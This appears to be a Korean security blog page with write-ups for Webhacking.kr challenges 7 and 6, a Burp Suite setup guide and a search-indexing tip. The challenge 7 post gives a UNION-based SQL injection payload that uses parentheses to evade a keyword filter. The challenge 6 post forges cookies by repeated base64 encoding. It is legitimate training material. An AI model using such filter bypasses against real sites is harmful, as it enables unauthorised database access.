h-bread.tistory.com

[다음글] : 2020/06/19 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog

Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog

h-bread.tistory.com

Webhacking.kr 7번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Sun, 17 May 2020 20:00:54 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge 7번 문제를 풀어보도록 하겠습니다.

이번 문제는 SQL 인젝션을 사용한 문제입니다.

#문제 보기

https://webhacking.kr/challenge/web-07/index.php?val=1

Challenge 7

webhacking.kr

7번 문제에 먼저 접속해보도록 하겠습니다.

https://webhacking.kr/challenge/web-07/index.php?val=1에 접속한 모습

문제에 접속하면, Admin page라고 나옵니다. 한번 auth 버튼을 클릭해봅시다.

Access_Denied! 라고 뜨는 모습

일단 바로 접속을 거부당했습니다.

그러면 view-seource를 통해 소스코드를 보고, 분석해보겠습니다.

#소스코드 분석하기

https://webhacking.kr/challenge/web-07/?view_source=1

webhacking.kr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
  $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
  $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
  $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
  $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
  $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
Colored by Color Scripter

cs

과연 어떤 의미를 가지고 있는지, 분해해서 살펴보도록 하겠습니다.

1
2
3
4
5
6
7
8

... 생략 ...
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
 
...
Colored by Color Scripter

cs

우선, 3번 째 줄에서 val 값을 파라미터 형식으로 불러와 $go에 저장합니다.

4번째 줄에서 $go가 false 즉, 존재하지 않거나 0이면 바로 https://webhacking.kr/challenge/web-07/index.php?val=1 로 불러와지게 하는 구문입니다.

5번째 줄은 처음 접속 페이지의 윗부분을 나타내게 하는 구문입니다.

6번째 줄에서 $go와 관련되서 특정 문자가 있는지 검사합니다. 위 식은 2, -, +, from, _, =, \s, *, \ , 공백이 있으면 접속이 안되게 해주는 구문입니다.

"/2|-|\+|from|_|=|\\s|\*|\//i"와 같이 써져있는 식을 정규식이라고 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php
...
 
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
  $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
  $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
  $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
  $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
  $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
 
...
?>
Colored by Color Scripter

cs

4번째 줄에서 DB에 연결을 하고,

5 ~ 20번째 줄에서 랜덤으로 DB에 select lv from chall7 where lv =($go) 명령문을 보냅니다.

이때 1 ~ 5개의 괄호가 $go 곁에 감싸이게 됩니다.

만약 이 쿼리를 실행시키지 못하면(괄호 오류) nice try!라고 alert가 뜨게 되고,

만약 값이 있다면, 20 ~ 29번째 줄에서 값에 따라 분류합니다.

val = 0이거나 false이면 query error를 echo 하고

val = 1이면 Access_denied를,

val = 2이면 문제가 풀리는 구조입니다.

즉, 이 정규식을 우회해서 val = 2를 넣어주면 됩니다.

#문제 풀기

먼저, 쿼리에 괄호가 1개 있다고 가정해보겠습니다.

select lv from chall7 where lv =($go)

그러면 이런 형식이 될 텐데, 우리는 val에 2 값을 넣어야 합니다.

2를 우회하기 위해서 5%3을 한번 넣어보겠습니다.

$go = 5%3을 넣어봅시다.

(% 는 나눗셈의 나머지 기호로 5%3은 5를 3으로 나눈 나머지인 2를 의미합니다)

https://webhacking.kr/challenge/web-07/index.php?val=5%3

Challenge 7

webhacking.kr

그러면,

query error가 발생한 모습

query error가 발생했습니다.

이 방법은 힘들 것 같군요.

아마도 5%3을 문자로 인식해서 그런 것 같습니다.

그러면 다른 방법을 사용해보도록 하겠습니다. 예전 포스팅 때 잠깐 언급했지만, SQL 명령어 중 하나인 UNION을 사용하겠습니다.

UNION은 합집합의 개념으로 두 조건중 하나를 만족하는 모든 데이터를 가져올 때 사용합니다.

예를 들어 val = 99999이고 val = 2인 경우를 모두 가져올 수 있는 것입니다.

val = 0, 1 인 경우는 소스코드에서 이미 걸러졌기 때문에 이를 이용하면 문제가 풀리지 않을 수도 있습니다.

val에 없을 것 같은 숫자를 넣어주겠습니다.

$go = 999999999999999)UNION(SELECT(5%3)로 써보도록 하겠습니다. 이렇게 되면,

select lv from chall7 where lv =(999999999999999)UNION(SELECT(5%3))

lv = 999999999999999 이거나 2인 경우를 찾을 수 있습니다.

SQL 문법에서 원래 각 단어마다 공백을 넣어 구분해줘야 하지만, 이렇게 괄호를 넣게 되면 공백과 같은 효과를 낼 수 있습니다.

여기서 999999999999999와 SELECT(5%3)이 같은 등호(=)로 묶이게 되는 것입니다.

이제 이 값을 URL에 넣고 F5를 눌러주면,

https://webhacking.kr/challenge/web-07/index.php?val=999999999999999)UNION(SELECT(5%3)

Challenge 7

webhacking.kr

풀 수 있습니다!

(최초로 풀었을 때 캡처를 못했네요.. 죄송합니다 ㅠ)

#연관된 활동

앞서 소스코드 분석할 때 '정규식'이라는 단어를 언급했습니다.

정규식이란, 정규표현식이라고도 하며, 어떤 규칙을 가지는 문자열을 구분하는데 쓰이는 형식 언어입니다.

PHP 말고도 JAVA, Javascript, Python 등 많은 프로그래밍 언어에서 사용됩니다.

정규표현식은 규칙만 알면, 표현하기가 매우 쉬워서 많은 곳에서 사용됩니다.

예를 들어서 휴대폰 전화번호 형식의 데이터를 입력받을 때 IF문을 사용한다면 굉장히 길어질 수 있지만,

정규식을 활용하면 매우 간단하게 표현할 수 있습니다.

이러한 정규표현식 규칙은 미리 알고 있는 것이 좋습니다.

제가 공부하는데 활용한 정규표현식 관련 docs 링크를 남겨드리겠습니다. 꼭 한 번씩 읽어보시기 바랍니다.

https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%EC%A0%95%EA%B7%9C%EC%8B%9D

정규 표현식

정규 표현식은 문자열에 나타는 특정 문자 조합과 대응시키기 위해 사용되는 패턴입니다. 자바스크립트에서, 정규 표현식 또한 객체입니다. 이 패턴들은 RegExp의 exec 메소드와 test 메소드 ,��

developer.mozilla.org

이상으로 Webhacking.kr 7번 문제 풀이를 마치겠습니다.

감사합니다!

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

[이전글] : 2020/05/16 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 6번 풀이 :: 호빵둥이 IT Blog

[다음글] : 2020/05/18 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog

네이버 서치어드바이저(웹마스터) 수집보류 해결! 해결방법 정리 :: 호빵둥이 IT Blog

호빵둥이블로그 — Sat, 16 May 2020 21:47:12 +0900

안녕하세요.

긴급하게 글 씁니다.

어제 까지 수집 성공 광탈을 하고 나서... 오늘 Burp Suite 소개하는 글을 올렸습니다.

h-bread.tistory.com/15

해킹툴 Burp Suite 설치 및 간단한 사용법 알아보기 :: 호빵둥이 IT Blog

h-bread.tistory.com

아무런 생각없이 이 글을 네이버 서치어드바이저에 올렸는데

???? 올리자마자 수집성공이 떴습니다;

아무리 봐도 어떤 원리인지 모르겠네요..

혹시나 해서 이미 올렸던 글을 봤는데, 역시나.. 아직도 그대로입니다.

설마 싶어서 기존에 올렸던 링크를 다시 올려봤는데요,

오?

ㅎ..해결했습니다!

제가 했던 방법을 소개해드릴게요!

1. 블로그 설정에서 포스트 주소를 문자로 설정한다.

2. 공개될 RSS 개수를 10개로 지정한다.

3. 24시간 후에 문자로 된 주소를 사용해서 서치어드바이저에 등록시킨다.

원래는 수집 중복이라고 떠야 할 주소들이 요청 완료가 되었다가 F5 한 번만 누르면 수집 성공으로 뜹니다.

이렇게 하니까 등록하자마자 수집 성공이 돼버리네요,,,

이제 기쁜 마음으로 나머지 포스트도 올려주고!

히히히 행복해용 ㅎㅁㅎ

오늘 드디어 발 쭉 뻗고 잘 수 있을 것 같아요 ㅋㅋㅋ

혹시나 서치어드바이저 수집 보류 계속 뜨시는 분들은 이렇게 해결해보시기 바랍니다!!

여기까지 쓰도록 하겠습니다 감사합니다!

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

해킹툴 Burp Suite 설치 및 간단한 사용법 알아보기 :: 호빵둥이 IT Blog

호빵둥이블로그 — Sat, 16 May 2020 21:31:15 +0900

허락받지 않은 해킹은 불법행위입니다.

본 포스트는 해당 프로그램의 사용법을 알려주는 것이며 법에 어긋나는 행위를 했을 경우 책임지지 않습니다.

안녕하세요!

이번에 Webhacking.kr 8번 문제를 준비하면서, 알게 된 툴을 소개해드리고자 합니다.

이 프로그램의 명칭은 'Burp'이며, 간단히 말하자면, 패킷 조작 프로그램입니다.

원리를 간단하게 설명드리면, 네트워크는 '패킷'을 주고받는 행위로 정보를 전달합니다.

이때 Burp Suite 프로그램이 중간에 프록시 서버를 만들어, 패킷을 분석하고 변조하여 내보내는 방식을 통해 패킷 위조가 가능한 것입니다.

이와 비슷한 툴로 WireShark가 있습니다. 이번에는 Burp Suite을 소개해보고자 합니다.

Burp는 아래 링크에서 받을 수 있으며, 3가지 버전이 존재합니다.

https://portswigger.net/burp

Burp Suite - Cybersecurity Software from PortSwigger

Burp Suite is a leading range of cybersecurity tools, brought to you by PortSwigger. Find out more, and request your free trial of Burp today.

portswigger.net

Burp의 3가지 플랜

기업이나 단체에서 사용할 수 있는 Enterprise 제품군과,

전문가들이 사용하는 Professional 버전,

그리고 일반 유저가 무료로 이용할 수 있는 Community 버전이 존재합니다.

저는 해당 직업을 가진 것이 아닌, 일반적인 개인이기 때문에 Community 버전을 다운로드하도록 하겠습니다.

[Get Community]를 클릭 후 [Download the lastest version]을 선택합니다.

[Download the latest version]을 선택하자.

이후 페이지에서 본인에게 맞는 버전을 선택하고 다운로드를 클릭합니다.

(또는 하단에서 다운로드할 수 있습니다. 작성일 기준 최신 버전임을 알려드립니다.)

https://portswigger.net/burp/releases/professional-community-2020-4?requestededition=community

Professional / Community 2020.4

This release mainly provides usability improvements to the HTTP message editor. It also upgrades both Java support and Burp Scanner's embedded browser version. HTTP message editor The HTTP message edi

portswigger.net

[참고]

다운로드 서버가 해외에 있기 때문에 속도가 굉장히 느립니다.

다운로드를 시작하고 다른 일을 하다가 오시는 것을 추천드립니다.

다운로드가 완료되었다면, 실행시켜줍니다.

설치마법사가 실행중이다.

[Next >]를 클릭해주시고,

설치될 폴더를 선택하신 다음 마찬가지로 [Next >]를 클릭해보겠습니다.

시작 메뉴에 추가하기와 바로가기 링크를 만들 것이냐고 물어보는데 저는 시작 메뉴에만 추가하도록 하겠습니다.

이후 [Next >]를 누릅니다.

잠시 기다리면 설치가 완료된다.

조금만 기다리면,,,

설치가 끝났습니다. 이제 실행시켜보겠습니다.

실행되는 중이다. Javascript로 추정되는 코드가 보인다.

실행하면, 피드백을 위해 정보를 수집하는 것을 허용하겠냐고 물어보는데 저는 거부하도록 하겠습니다.

체크를 해제하고 [I Accept]를 눌러줍니다.

그러면 이렇게 어떤 유형의 프로젝트를 만들 것인지 물어보는데 커뮤니티 버전은 Disk에 설치하는 프로젝트를 만들지 못합니다.

따로 체크할 것 없이 [Next]를 눌러줍니다.

처음 세팅이기 때문에 따로 만들어둔 configuration file이 없으므로 바로 [Start Burp]를 눌러줍시다.

+) 사용자 환경을 만들고 그때그때마다 적용시킬 수 있다는 점은 되게 좋은 부분인 것 같습니다.

잠시 기다려주면,,,

실행이 된 모습

실행이 됐습니다.

이제 어떻게 사용해야 하는지 알아야 하는데, 앞서 말씀드렸다시피 Burp Suite는 Proxy서버를 사용합니다.

Proxy서버 사용을 위해 설정을 해주도록 하겠습니다.

상단 [Proxy] > [Options]를 들어가 주도록 하겠습니다.

그러면 Proxy Listners에 127.0.0.1(localhost)이 있는 것을 알 수 있습니다.

프록시 서버가 127.0.0.1에 8080 포트로 지정되어있으므로, 브라우저에서 이 프록시서버를 사용할 수 있도록 만들어줘야 합니다.

<윈도우즈 10 기준>

작업표시줄 오른쪽 아래에 이더넷 마크 또는 와이파이 마크를 우클릭해 네트워크 및 인터넷 설정 열기로 들어가 줍니다.

우클릭 후 네트워크 및 인터넷 설정 열기를 눌러준다.

여기서 프록시를 선택한 후,

수동 프록시 설정에서 다음과 같이 설정한 후 저장을 눌러줍니다.

[주의]

프록시 설정을 한 상태로 저장하면 바로 웹페이지 접속이 어렵습니다.

(프록시 서버를 지정했기 때문)

Burp Suite를 사용하는 동안만 Proxy 서버 사용을 키는 것을 권장드립니다.

(저도 방금 포스트 쓰면서 한번 날려먹었습니다.. 조심하세요...)

이제 아까 Burp Suite로 다시 가서 Proxy Listners 아래에 Client Requests와 Server Responses의 intercept를 모두 적용시켜 줍니다.

이제 [Options] 탭에서 [Intercept] 탭으로 간 후 [Intercept is off]를 눌러 [Intercept is on]으로 바꿔주면,

Intercept를 시작할 수 있습니다!

한번 제 블로그에 접속할 때 인터셉트를 해보도록 하겠습니다.

프록시 서버를 켜고 Intercept를 On 하면,

이렇게, Burp Suite가 중간에 패킷을 탈취해서 사이트에 도달하지 않는 모습을 볼 수 있습니다.

이때 Forward 버튼을 눌러주면 차근차근 패킷을 전달할 수 있습니다.(패킷을 수정할 수도 있습니다)

Forward를 5번 누른 모습, POST요청에 title, content, adutosaved 속성의 값이 보인다.

이런 점 덕분에, 중간중간 패킷을 수정하고 보내는 과정을 통해 웹사이트의 취약점을 테스트해볼 수 있고 해킹하는 데 사용될 수 있습니다.

이상, Burp Suite 설치 및 간단 사용방법을 알아보았습니다. 감사합니다!

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

Webhacking.kr 6번 풀이 :: 호빵둥이 IT Blog

호빵둥이블로그 — Sat, 16 May 2020 20:00:56 +0900

안녕하세요!

오늘은 워게임, Webhacking.kr Chellenge 6번 문제를 풀어보도록 하겠습니다.

이번 문제는 암호화, 복호화를 이용한 문제입니다.

암호화 과정을 쉽게 하기 위해서 python을 사용했습니다!

#문제 보기

https://webhacking.kr/challenge/web-06/ 에 접속해서 문제를 보도록 하겠습니다.

https://webhacking.kr/challenge/web-06/

webhacking.kr

https://webhacking.kr/challenge/web-06/에 접속한 모습

이번 문제는 별로 볼 것이 없습니다.

바로 view-source를 눌러 소스코드를 분석해보겠습니다.

#소스코드 분석하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
if(!$_COOKIE['user']){
  $val_id="guest";
  $val_pw="123qwe";
  for($i=0;$i<20;$i++){
    $val_id=base64_encode($val_id);
    $val_pw=base64_encode($val_pw);
  }
  $val_id=str_replace("1","!",$val_id);
  $val_id=str_replace("2","@",$val_id);
  $val_id=str_replace("3","$",$val_id);
  $val_id=str_replace("4","^",$val_id);
  $val_id=str_replace("5","&",$val_id);
  $val_id=str_replace("6","*",$val_id);
  $val_id=str_replace("7","(",$val_id);
  $val_id=str_replace("8",")",$val_id);
 
  $val_pw=str_replace("1","!",$val_pw);
  $val_pw=str_replace("2","@",$val_pw);
  $val_pw=str_replace("3","$",$val_pw);
  $val_pw=str_replace("4","^",$val_pw);
  $val_pw=str_replace("5","&",$val_pw);
  $val_pw=str_replace("6","*",$val_pw);
  $val_pw=str_replace("7","(",$val_pw);
  $val_pw=str_replace("8",")",$val_pw);
 
  Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
  Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
  echo("<meta http-equiv=refresh content=0>");
  exit;
}
?>
<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];
 
$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);
 
$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);
 
for($i=0;$i<20;$i++){
  $decode_id=base64_decode($decode_id);
  $decode_pw=base64_decode($decode_pw);
}
 
echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");
 
if($decode_id=="admin" && $decode_pw=="nimda"){
  solve(6);
}
?>
</body>
</html>
Colored by Color Scripter

cs

이번 문제는 코드가 굉장히 길어 보입니다..

하지만, 내용만 알면 그 어느 문제보다 쉽다는 것을 확인할 수 있습니다!

하나하나씩, 분리해서 분석해봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php
if(!$_COOKIE['user']){
  $val_id="guest";
  $val_pw="123qwe";
  for($i=0;$i<20;$i++){
    $val_id=base64_encode($val_id);
    $val_pw=base64_encode($val_pw);
  }
  $val_id=str_replace("1","!",$val_id);
  $val_id=str_replace("2","@",$val_id);
  $val_id=str_replace("3","$",$val_id);
  $val_id=str_replace("4","^",$val_id);
  $val_id=str_replace("5","&",$val_id);
  $val_id=str_replace("6","*",$val_id);
  $val_id=str_replace("7","(",$val_id);
  $val_id=str_replace("8",")",$val_id);
 
  $val_pw=str_replace("1","!",$val_pw);
  $val_pw=str_replace("2","@",$val_pw);
  $val_pw=str_replace("3","$",$val_pw);
  $val_pw=str_replace("4","^",$val_pw);
  $val_pw=str_replace("5","&",$val_pw);
  $val_pw=str_replace("6","*",$val_pw);
  $val_pw=str_replace("7","(",$val_pw);
  $val_pw=str_replace("8",")",$val_pw);
 
  Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
  Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
  echo("<meta http-equiv=refresh content=0>");
  exit;
}
?>
Colored by Color Scripter

cs

(문제를 푸는데 필요 없는 부분은 과감하게 생략하겠습니다)

3,4번째 줄에서 $val_id와 $val_pw를 각각 "guest", "123qwe"로 지정했습니다.

5번째 줄에서 for문을 통해 id와 pw를 base64인코딩으로 각각 20번 암호화하고,

9 ~ 25번째 줄에서 암호화된 id와 pw에서 숫자를 모두 특수문자로 대응시키는 것을 확인할 수 있습니다.

27 ~ 28 번째 줄에서 user와 password라는 이름의 쿠키로 값을 저장합니다.

이어서, 다음 코드도 보도록 하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];
 
$decode_id=str_replace("!","1",$decode_id);
 
 ... 중략 ...
 
$decode_pw=str_replace(")","8",$decode_pw);
 
for($i=0;$i<20;$i++){
  $decode_id=base64_decode($decode_id);
  $decode_pw=base64_decode($decode_pw);
}
 
echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");
 
if($decode_id=="admin" && $decode_pw=="nimda"){
  solve(6);
}
?>
Colored by Color Scripter

cs

마찬가지로 분석을 시작하겠습니다.

2~3 번째 줄에서 $decode_id, $decode_pw 값에 각각 user, password 쿠키값을 받고

5~ 9번째 줄에서 모든 특수문자를 숫자로 대응시켜줍니다.

이후 11 ~ 14번째 줄에서 for문을 사용하여 id와 pw를 20번씩 복호화해준 후

19번째 줄에서 id 가 admin이고 pw가 nimda이면 문제가 풀리는 구조입니다.

즉, admin과 nimda를 base64 암호화 함수로 20번 인코딩해서 쿠키값에 넣어주면 될 것 같습니다!

#문제 풀기

저는 문제를 빠르고 간편하게 풀기 위해 Python을 사용하도록 하겠습니다.

(해당 코드는 Python 3.6.5 환경에서 테스트되었습니다)

base64 인코딩을 하기 위해서는 base64 라이브러리가 필요합니다. 아래 링크를 통해 라이브러리 설명을 볼 수 있습니다.

https://docs.python.org/ko/3.6/library/base64.html

19.6. base64 — Base16, Base32, Base64, Base85 Data Encodings — Python 3.6.10 문서

19.6. base64 — Base16, Base32, Base64, Base85 Data Encodings Source code: Lib/base64.py This module provides functions for encoding binary data to printable ASCII characters and decoding such encodings back to binary data. It provides encoding and decodi

docs.python.org

Python을 이용해 해답을 구하는 프로그램을 구현했다

아주 간단한 소스코드이지만, 분석을 해보도록 하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12

import base64
 
id= 'admin'.encode()
pw = 'nimda'.encode()
 
for j in range(20):
    pw = base64.b64encode(pw)
    id = base64.b64encode(id)
 
print(id)
print('\n\n')
print(pw)

cs

 
base64 복호화 함수를 이용하기 위해서 1번째 줄에서 base64 라이브러리를 불러옵니다.
 
3 ~ 4번째 줄에서 id와 pw에 각각 admin, nimda를 넣습니다.
 
 
 
 
여기서 주의해야 할 점!지난번 4번 문제(링크)에서 언급하지 않았지만sha1 해시함수와 마찬가지로 base64 함수에서 암호화하기 위해서는byte 객체로 encode 해줘야 합니다. 
 
 
이후 6 ~ 8번째 줄에서 id와 pw를 base64 복호화 함수를 통해 20번 복호화를 진행합니다.

이제 출력된 id값과 pw값을 복사해서 쿠키값에 적용해봅시다!

Python 파일을 실행시키면

id값. 굉장히 길다.

이렇게 엄청나게 긴 코드가 나옵니다.

↓id

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFjVkZ0UmxSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMWRyV25kV01ERkZVbFJHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZXVEpWYkZKRFZqQXhkVlZ1V2xaaGExcFlXa1ZhVDJOc2NFZGhSMnhUVFcxb2IxWXhaREJaVmxsM1RVaG9hbEpzY0ZsWmJGWmhZMnhXY1ZGVVJsTk5WMUo1VmpKNFQxWlhTbFpYVkVwV1lrWktTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STldHUlZUVlpHTTFSVmFHOWhiRXB6WTBac1dtSkdXbWhaTVZwaFpFZFNTRkpyTlZOaVJtOTNWMnhXWVZReFdsaFRiRnBZVmtWd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYySkdhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWVzB4YjFZeFVsaE9WazVPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0ROV2FrWkxWakpPU1dKR1pGZFNWWEJ2Vm10U1MxUXlUWGxVYTFwb1VqTkNWRmxZY0ZkWFZscFlZMFU1YVUxcmJEUldNalZUVkd4a1NGVnNXbFZXYkhCWVZHdGFWbVZIUmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UW5oV1YzaHJWVEZzVjFWc1dsaGlWVnBQVkZaYWQyVkdWWGxrUkVKWFRWWndlVmt3V25kWFIwVjRZMFJPV21FeVVrZGFWM2hIWTIxS1IxcEhiRmhTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVjFsc1pHOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25OT2JFcHpXa2R3YVZORlNrbFdNblJyWXpGVmVWTnVTbFJpVlZwWVZGYzFiMWRHWkZkWGJFcHNVbTFTZWxsVldsTmhWa3AxVVd4d1YySllVbGhhUkVaYVpVZEtTVk5zYUdoTk1VcFZWbGN4TkdReVZrZFdiR1JvVW5wc2IxUldXbmRsYkZsNVkwVmtWMDFFUmpGWlZXaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZrY3dOVll4V25OalJXaFlWa1UxZGxsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFdWWktjMVJ1VG1oU2JGcFlXV3hhUm1ReFduRlJiVVphVm0xU1NWWlhkRzloTVVwMFlVWlNWVlpXY0dGVVZscGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1WcHlWMjFHYWxacmNEQmFSV1F3VmpKS2NsTnJhRmRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtaV1VsZEhhRlJVVm1SVFpXeHNWbGRzVG1oU1ZFWjZWVEkxYjFZeFdYcFZiR2hZVm14d1lWcFZXbXRrVmtwelZtMXNWMUl6YURWV01XUXdXVmRSZVZaclpGZGliRXB5Vld0V1MySXhiRmxqUldSc1ZteEtlbFp0TURWWFIwcEhZMFpvV2sxSGFFeFdNbmhoVjBaV2NscEhSbGROTW1oSlYxUkplRk14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwWTBWa1dsWXdWalJXYkdodlYwWmtTR0ZHV2xwaVdHaG9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==

↓pw

